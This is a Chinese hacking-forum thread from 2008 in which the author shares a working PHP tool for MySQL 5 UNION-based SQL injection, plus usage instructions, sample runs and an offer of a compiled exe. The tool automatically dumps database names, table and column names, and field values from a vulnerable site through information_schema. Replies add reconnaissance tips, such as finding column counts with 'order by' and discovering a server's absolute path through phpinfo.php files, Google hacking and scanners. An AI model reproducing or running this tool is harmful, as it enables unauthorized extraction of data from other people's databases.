[原创]php+mysql 5 sql injection 暴取工具beta版
文章作者:mika信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
mysql出来5版本以后,注入漏洞要比以前更容易利用了,也可以像mssql那样直接暴取了(甚至比mssql更容易了,因为mssql暴取是需要错误提示开启的,如果错误提示关闭的话,是需要暴力猜解的,而mysql的只要你找准注入点只要可以union出任何一个字段能在页面显示出来就可以了)。自从读了flyh4t的文章《Mysql5注射技巧总结》就一直想测试一下,结果我发现很多的站都更新到了这个版本,于是测试得不易乐呼~~~:biggrin: 为了节省力气,自然是运用了自己所学的知识写个简单的工具自动暴取,比起手工来要省事多了。觉得会有许多朋友需要这样的工具,我虽然在网上找过包括最新的pangolin,但是测试结果都不尽如人意。还是自己写的用起来顺手。其实代码没什么技术,但是本着共享的精神,算是提供个工具给大家吧,大家不要笑我哦:loveliness:
工具是php写的(因为俺觉得就这个写起来方便),代码如下:[code]
<?php
error_reporting(7);
echo "\tMysql ver 5 sql injection exploiter\n\n\t\tcoded by Mika[EST]\n\n";
if($argc>7 || $argc <2)
{
echo <<<INFO
\t\t\tUsage:$argv[0] -t [table] [-f <field> -c [condition]]\n
INFO;
die;
}
//****************************************************************************
$url="http://www.vul.com/display_msg.php?id=432%20and%201=2%20union%20select%201,2,3,4,5,MIKA_MIKA,7,8";
$db_name="vuldb";
//****************************************************************************
$curl=curl_init();
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
function find_value($url){
global $curl;
//echo $url."\n";
curl_setopt($curl,CURLOPT_URL,$url);
$content=curl_exec($curl);
//echo $content;
$re=preg_match("/(\|\|.+?\|\|)/i",$content,$result);
//echo $content;
if($re)
{
//return str_replace('||','',$result[1]);
return $result[1];
}
return 0;
}
function str2ascii($str){
$temp="char(";
for($i=0;$i<strlen($str)-1;$i++){
//echo $str[$i]."\n";
$temp.=ord($str[$i]).',';
}
$temp.=ord($str[strlen($str)-1]).')';
//echo $temp."\n";
return $temp;
}
function exploit_db(){
global $url,$curl;
$new_url=str_replace('MIKA_MIKA','concat(0x7C7C,SCHEMA_NAME,0x7C7C)',$url);
$new_url.="%20from%20information_schema.SCHEMATA%20limit%20MIKA_MIKA,1/*";
$i=0;
echo "DATABASES:\n";
do{
$new=str_replace('MIKA_MIKA',$i,$new_url);
if($v1=find_value($new))
echo $v1."\n";
$i++;
}while($v1);
}
function exploit_tab(){
global $url,$db_name,$curl;
$new_url=str_replace('MIKA_MIKA','concat(0x7C7C,TABLE_NAME,0x7C7C)',$url);
$new_url.="%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=".str2ascii($db_name)."%20limit%20MIKA_MIKA,1/*";
echo "Tables of database ".strtoupper($db_name)." :\n";
$i=0;
do{
$new=str_replace('MIKA_MIKA',$i,$new_url);
if($v1=find_value($new))
echo $v1."\n";
$i++;
}while($v1);
}
function exploit_field(){
global $table_name,$url,$curl;
$new_url=str_replace('MIKA_MIKA','concat(0x7C7C,COLUMN_NAME,0x7C7C)',$url);
$new_url.="%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=".str2ascii($table_name)."%20limit%20MIKA_MIKA,1/*";
$i=0;
echo "columns of table ".strtoupper($table_name)." :\n";
do{
$new=str_replace('MIKA_MIKA',$i,$new_url);
if($v1=find_value($new))
echo $v1."\n";
$i++;
}while($v1);
}
function exploit_value($mode=0){
global $db_name,$table_name,$field_name,$condition,$url,$curl;
$new_url=str_replace('MIKA_MIKA','concat(0x7C7C,MIKA_MIKA,0x7C7C)',$url);
if($mode)
{
$new_url.="%20from%20$db_name.$table_name%20where%20$condition/*";
$new=str_replace('MIKA_MIKA',$field_name,$new_url);
$v1=find_value($new);
echo $v1."\n";
return;
}
$new_url.="%20from%20$db_name.$table_name%20limit%20MIKA_NUM,1/*";
$new_url=str_replace('MIKA_MIKA',$field_name,$new_url);
$i=0;
echo "$field_name values of table ".strtoupper($table_name)." :\n";
do{
$new=str_replace('MIKA_NUM',$i,$new_url);
if($v1=find_value($new))
echo $v1."\n";
$i++;
}while($v1);
}
switch($argc){
case 2:
if($argv[1]=='-t')
exploit_tab();
if($argv[1]=='-d')
exploit_db();
break;
case 3:
$table_name=$argv[2];
exploit_field();
break;
case 5:
case 6:
$table_name=$argv[2];
$field_name=$argv[4];
exploit_value();
break;
case 7:
$table_name=$argv[2];
$field_name=$argv[4];
$condition=$argv[6];
exploit_value(1);
break;
}
?>
[/code]代码非常简单,而且我省了很多的力,只是一个非常粗糙的版本,完全是怎么方便怎么来的。但是满足暴取字段值什么的足够了,下面我简单解释一下吧:
在两个//*********之间的参数是需要直接在代码中修改的,因为太长了,放到命令行下改太麻烦,所以还是直接放代码里好。其中$url很明显就是有漏洞的url,要连union一起,就像代码里写的那样,如下:
[url]http://www.vul.com/display_msg.php?id=432%20and%201=2%20union%20select%201[/url],2,3,4,5,6,7,8
比如第6个数字会在页面上显示,那么你就将数字6替换成“MIKA_MIKA”,而且最后不要跟注释符(因为程序会在提交的时候自动加上),最终的url如下:
$url="http://www.vul.com/display_msg.php?id=432%20and%201=2%20union%20select%201,2,3,4,5,MIKA_MIKA,7,8";
另外$db_name是数据库名字,你可以直接用database()函数获取到,然后填到这里。
填完以后就可以用了,非常简单。打开cmd,切换到程序所在的目录,比如说暴取所有的数据库,可以这样用:
[quote]
F:\scripts\php\mine>php mysql5.php -d
Mysql ver 5 sql injection exploiter
coded by Mika[EST]
DATABASES:
||information_schema||
||vuldb||
[/quote]
暴取表名:
[quote]
F:\scripts\php\mine>php mysql5.php -t
Mysql ver 5 sql injection exploiter
coded by Mika[EST]
Tables of database VULDB :
||Articles||
||Audio||
.
.
.
省略
.
.
.
[/quote]
暴取字段名:
[quote]
F:\scripts\php\mine>php mysql5.php -t Articles
Mysql ver 5 sql injection exploiter
coded by Mika[EST]
columns of table ARTICLES :
||ID||
||Article_ID||
||Title||
||Type||
.
.
.
省略
.
.
.
[/quote]
暴取值:
[quote]
F:\scripts\php\mine>php mysql5.php -t Articles -f Type
Mysql ver 5 sql injection exploiter
coded by Mika[EST]
Type values of table ARTICLES :
||2||
||1||
.
.
.
省略
.
.
.
[/quote]
另外你想加入自己的条件的话,可以在最后在加上-c参数然后再跟上where条件来限定(不要带where),比如:
[quote]
F:\scripts\php\mine>php mysql5.php -t Articles -f ID -c Type=2
Mysql ver 5 sql injection exploiter
coded by Mika[EST]
||58||
[/quote]
程序很简陋,但基本功能算是有了,俺也只是想到哪写到哪,所以以后有什么完善一定拿上来跟大家分享。代码里难免有错误和可以改进的地方,还请大家多帮忙一起修改。另外,代码里有这一行:
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
这是为了使用代理的,如果不需要可以直接注释掉。
[color=Red]声明:转载请保持完整,另外真的希望大家都不要太吝啬,有了修改有了添加,还希望能拿出来跟大家一起分享,虽然俺的代码不怎么样。[/color]
[color=Red]
PS:为了方便没有php环境的朋友使用,俺特意把php编译了一下,做成了一个exe版的,放上来给大家,里面mysql5.exe就是主程序了,而target.txt里面的内容:第一行为目标url,和上面介绍的一样,要将显示字段替换为MIKA_MIKA(最后不要跟/*注释),第二行为你要暴取表名的数据库名字。这两个要一行一个。[/color]
[[i] 本帖最后由 mika 于 2008-4-5 03:26 编辑 [/i]] 哦对了,flyh4t的那个文章里提到使用limit来限制返回记录的个数,比如: limit 1,1
而且俺抓过好几个注入工具的数据,里面都是从limit 1,1开始的,然后就是limit 2,1,依次类推。俺查了一下mysql的帮助文档,上面说记录应该是从偏移0开始的。也就是说应该是从 limit 0,1开始猜解,否则就总会漏掉一个。经过测试,发现的确是这样 楼主的开源精神值得鼓励. 呵呵
单纯的使用程序注入会将人的思维封闭. 程序为了代替繁琐的工作而产生的,避免使用体力活的工具.
与其写个工具, 不如普及SQL注入的基本原理. (SQL的语法和数据库的相关知识. )
PS: 有点说风凉话的感觉. 在两个//*********之间的参数是需要直接在代码中修改的,因为太长了,放到命令行下改太麻烦,所以还是直接放代码里好。其中$url很明显就是有漏洞的url,要连union一起,就像代码里写的那样,如下:
[url]http://www.vul.com/display_msg.p[/url] ... 0union%20select%201,2,3,4,5,6,7,8
----------------------------------------------------------------------------------------------------------------------------
如果碰到检测不到字段长度的注入点,这个工具似乎就没用了:funk: 回mika:lovely girl ,lovely hacking,建议贴出flyh4t原文地址 [url]http://hi.baidu.com/hacker8888/blog/item/8a830cf42358e06adcc4744d.html[/url]
回ring0th:囧
回akens:order by/*
另 还请各位牛总结*nix下获取网址绝对路径的方法 除了php报错和load httpd.conf我几乎没有办法。
thx [quote]原帖由 [i]remax[/i] 于 2008-4-3 12:29 发表 [url=http://forum.eviloctal.com/redirect.php?goto=findpost&pid=140807&ptid=32730][img]images/common/back.gif[/img][/url]
回mika:lovely girl ,lovely hacking,建议贴出flyh4t原文地址 [url]http://hi.baidu.com/hacker8888/blog/item/8a830cf42358e06adcc4744d.html[/url]
回ring0th:囧
回akens:order by/*
另 还请各位牛总结*nix下获取网址绝对路径 ... [/quote]
有时候有的注入点order by 不一定有效哦 [quote]原帖由 [i]remax[/i] 于 2008-4-3 12:29 发表 [url=http://forum.eviloctal.com/redirect.php?goto=findpost&pid=140807&ptid=32730][img]images/common/back.gif[/img][/url]
回mika:lovely girl ,lovely hacking,建议贴出flyh4t原文地址 [url]http://hi.baidu.com/hacker8888/blog/item/8a830cf42358e06adcc4744d.html[/url]
回ring0th:囧
回akens:order by/*
另 还请各位牛总结*nix下获取网址绝对路径 ... [/quote]
获取路径俺觉得偶然性还是比较大的,不过根据俺学习php的过程中做的测试发现,还有一个更有效的获取绝对路径的方法,那就是查找phpinfo.php这个文件,因为据俺观察很多站尤其是虚拟机主机都会有phpinfo.php这个文件的,google hacking会很有帮助的,如果你比俺还懒,可以用WVS选择directory check,自动进行查找。效果还是很好的哦~~~:victory: :shy:
用Acunetix WebVulnerabilityScanner一类的分析目录的程序或者找探针,都很棒。
robot.txt
load配置文件
报错
还有啥? 俺更新了一下,用php2exe编译了一下,放到顶贴里了,方便没有php环境的朋友使用。
页:
[1]